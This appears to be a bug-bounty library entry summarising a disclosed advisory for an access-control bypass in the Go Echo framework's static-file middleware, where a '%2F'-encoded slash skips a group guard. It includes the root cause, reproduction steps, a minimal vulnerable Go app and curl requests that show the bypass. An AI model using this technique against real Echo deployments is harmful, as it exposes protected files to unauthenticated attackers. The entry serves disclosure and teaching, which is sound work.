# Echo's middleware.Static: `%2F`-encoded path bypasses route/group middleware guarding a statically-served path

Echo's globally-mounted middleware.Static serves files under a route-guarded path when `/` is sent as `%2F`, skipping the guard and leaking the file.

- Payout: Research
- Severity: high
- Program: Echo
- Found by: Adobodoo, manus-use, kta1kri, zerovulnlabs
- Disclosed: 2026-10-28
- CVE: CVE-2026-118650
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-375p-5qhx-8wq4
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-375p-5qhx-8wq4
- Tags: area:web domain:web kind:research platform:ghsa sev:high tech:go technique:incomplete-fix technique:source-review vuln:access-control vuln:auth-bypass vuln:path-traversal

**Target:** Go HTTP framework static-file middleware
**Root cause:** Router matches on the raw encoded path so `/admin%2Fsecret.txt` misses the `/admin` group and its guard, while middleware.Static reads the already-decoded `URL.Path`, cleans it and opens `admin/secret.txt`.
**Steps:**
1. Mount `e.Use(middleware.Static("public"))` globally and add a group guard on `/admin` returning 401.
2. Place `public/admin/secret.txt` containing `SECRET`.
3. `curl -i http://localhost:1323/admin/secret.txt` → 401 (route matches, guard runs).
4. `curl -i --path-as-is http://localhost:1323/admin%2Fsecret.txt` → 200 with `SECRET` (route misses, Static decodes and serves).
**How found:** Noticed the same router-vs-handler `%2F` decoding mismatch previously fixed for StaticFS/StaticDirectoryHandler in CVE-2026-55677 was left uncovered on the middleware.Static code path, and that the EnablePathUnescaping docstring claimed the default prevented it; verified by comparing literal vs `%2F` requests against a guarded group.
**Exploitation:** Unauthenticated attacker substitutes `/` with `%2F` in a guarded static path; the router skips the group middleware while middleware.Static decodes the path and serves the file from inside the static root.
**Insight:** When a framework fixes an encoding/decoding mismatch in one file-serving API, enumerate every sibling API that resolves paths differently from the router (global middleware vs wildcard route) — incomplete fixes leave the same bypass on the uncovered path.

## Proof of concept (copied exactly from the original report)

**Minimal Echo app with global Static and group guard**

```
package main

import (
	"net/http"

	"github.com/labstack/echo/v5"
	"github.com/labstack/echo/v5/middleware"
)

func main() {
	e := echo.New()
	e.Use(middleware.Static("public")) // serves ./public globally (default filesystem)

	admin := e.Group("/admin", func(next echo.HandlerFunc) echo.HandlerFunc {
		return func(c *echo.Context) error { return c.String(http.StatusUnauthorized, "auth required") }
	})
	admin.GET("/secret.txt", func(c *echo.Context) error { return c.String(http.StatusOK, "handler") })

	e.Start(":1323")
}
```

**curl requests showing 401 vs 200 bypass**

```
# Literal: route matches -> group guard runs
curl -i http://localhost:1323/admin/secret.txt
# => 401

# %2F-encoded: route does NOT match -> guard skipped, but middleware.Static serves the file
curl -i --path-as-is http://localhost:1323/admin%2Fsecret.txt
# => 200, body: SECRET
```

